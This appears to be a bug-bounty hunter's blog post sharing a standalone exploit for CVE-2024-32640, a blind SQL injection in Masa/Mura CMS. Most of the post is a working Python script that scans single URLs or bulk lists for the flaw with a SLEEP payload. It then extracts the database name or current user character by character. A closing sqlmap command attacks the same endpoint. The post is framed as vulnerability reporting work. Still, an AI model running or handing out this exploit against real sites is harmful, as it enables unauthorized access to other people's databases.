A while back the illustrious team over at Project Discovery wrote about the discovery of an SQLi in Masa/Mura CMS. It’s a good writeup, so go check it out for the technical details.
Recently, I ran across four instances of this CMS in VDP/BB programs, and after searching for POCs out there, I didn’t find much in the way of a POC that would actually dump a little info to prove exploitation. One of them did download ghauri to do exploitation, but I wanted something standalone.
I do this because I want to make it as easy as possible to reproduce and triage. I seem to have bad luck with triagers on multiple platforms lately, including one that didn’t know how to PIP install a Python package, and one asking how to install Burp. Yes, you read that correctly.
Anyway, there were also some other features I always like to have like single-url scanning or scanning from a file or proxying, etc. So here is what I ended up with, as you can find on my GitHub. This will test for exploitability or retrieve the current username or DB name for MySQL.
#!/usr/bin/env python3
import requests
import argparse
import time
from urllib.parse import quote
from multiprocessing.dummy import Pool
import sys
requests.packages.urllib3.disable_warnings()
def main():
parser = argparse.ArgumentParser(description="CVE-2024-32640 MySQL Blind SQL Injection Proof of Concept")
parser.add_argument('-u', '--url', dest='url', type=str, help='Input URL for single target testing')
parser.add_argument('-f', '--file', dest='file', type=str, help='File containing a list of URLs')
parser.add_argument('-p', '--proxy', action='store_true', help='Use a proxy (localhost:8080)')
parser.add_argument('--dump', dest='dump', choices=['dbname', 'user'], help='Dump specific information (e.g., dbname, user)')
args = parser.parse_args()
global proxies
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
} if args.proxy else None
if args.dump:
if args.url:
if args.dump == 'dbname':
dump_info(args.url, 'DATABASE()', quote('DATABASE()'))
elif args.dump == 'user':
dump_info(args.url, 'CURRENT_USER()', quote('CURRENT_USER()'))
elif args.file:
with open(args.file, 'r', encoding='utf-8') as fp:
url_list = [line.strip() for line in fp]
mp = Pool(10)
if args.dump == 'dbname':
mp.map(lambda url: dump_info(url, 'DATABASE()', quote('DATABASE()')), url_list)
elif args.dump == 'user':
mp.map(lambda url: dump_info(url, 'CURRENT_USER()', quote('CURRENT_USER()')), url_list)
mp.close()
mp.join()
elif args.url and not args.file:
poc(args.url)
elif args.file:
with open(args.file, 'r', encoding='utf-8') as fp:
url_list = [line.strip() for line in fp]
mp = Pool(10)
mp.map(poc, url_list)
mp.close()
mp.join()
else:
print(f"Usage:\n\t python3 {sys.argv[0]} -h")
def poc(target):
"""Check if the target is vulnerable using a time-based SQL injection."""
url_payload = '/index.cfm/_api/json/v1/default/?method=processAsyncObject'
full_url = target + url_payload
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=utf-8",
"Cache-Control": "no-cache",
"Referer": full_url
}
detection_payload = "x%5C%27+AND+%28SELECT+3504+FROM+%28SELECT%28SLEEP%285%29%29%29MQYa%29--+pizzapower"
data = f"object=displayregion&contenthistid={detection_payload}&previewid=1"
session = requests.Session()
start_time = time.time()
response = session.post(full_url, headers=headers, data=data, proxies=proxies, verify=False)
elapsed_time = time.time() - start_time
if elapsed_time >= 5:
print(f'[+] The target {target} is vulnerable to SQL injection.')
with open('result.txt', 'a') as f:
f.write(target + '\n')
else:
print(f'[-] The target {target} does not appear to be vulnerable.')
def dump_info(target, readable_function, encoded_function):
"""Extract specified information (e.g., database name, user) using time-based blind SQL injection for MySQL."""
url_payload = '/index.cfm/_api/json/v1/default/?method=processAsyncObject'
full_url = target + url_payload
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=utf-8",
"Cache-Control": "no-cache",
"Referer": full_url
}
extracted_info = ""
print(f"Extracting {readable_function} for {target}...")
session = requests.Session()
for i in range(1, 33): # Assuming max length is 32 characters
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
full_sleep_time = 3
payload = (f"x%5C%27%27+AND+%28SELECT+6666+FROM+%28SELECT%28SLEEP%28{full_sleep_time}-%28IF%28ORD%28MID%28%28IFNULL%28CAST%28{encoded_function}+AS+NCHAR%29%2C0x20%29%29%2C{i}%2C1%29%29%3E{mid}%2C0%2C1%29%29%29%29%29KLkb%29--+pizzapower")
data = f"object=displayregion&contenthistid={payload}&previewid=1"
start_time = time.time()
session.post(full_url, headers=headers, data=data, proxies=proxies, verify=False)
elapsed_time = time.time() - start_time
if elapsed_time >= full_sleep_time:
low = mid + 1
else:
high = mid - 1
if high >= 32:
extracted_info += chr(high + 1)
print(f"Extracted so far for {readable_function}: {extracted_info}")
else:
break
if extracted_info:
print(f"{readable_function} extracted: {extracted_info}")
with open(f'{readable_function.lower()}_result.txt', 'a') as f:
f.write(f'{target}: {extracted_info}\n')
else:
print(f"Failed to extract {readable_function} for {target}. Ensure the database type is MySQL.")
if __name__ == '__main__':
main()
But wait! If you’re in a real big hurry, just run this SQLMap command to dump the current user π€£
sqlmap -u "https://example.com/index.cfm/_api/json/v1/default/?method=processAsyncObject" \
--data "object=displayregion&contenthistid=x%5C'*--+Arrv&previewid=1" \
--level 3 --risk 2 --method POST \
--technique=T \
--timeout=5 \
--dbms=mysql \
--current-user \
--batch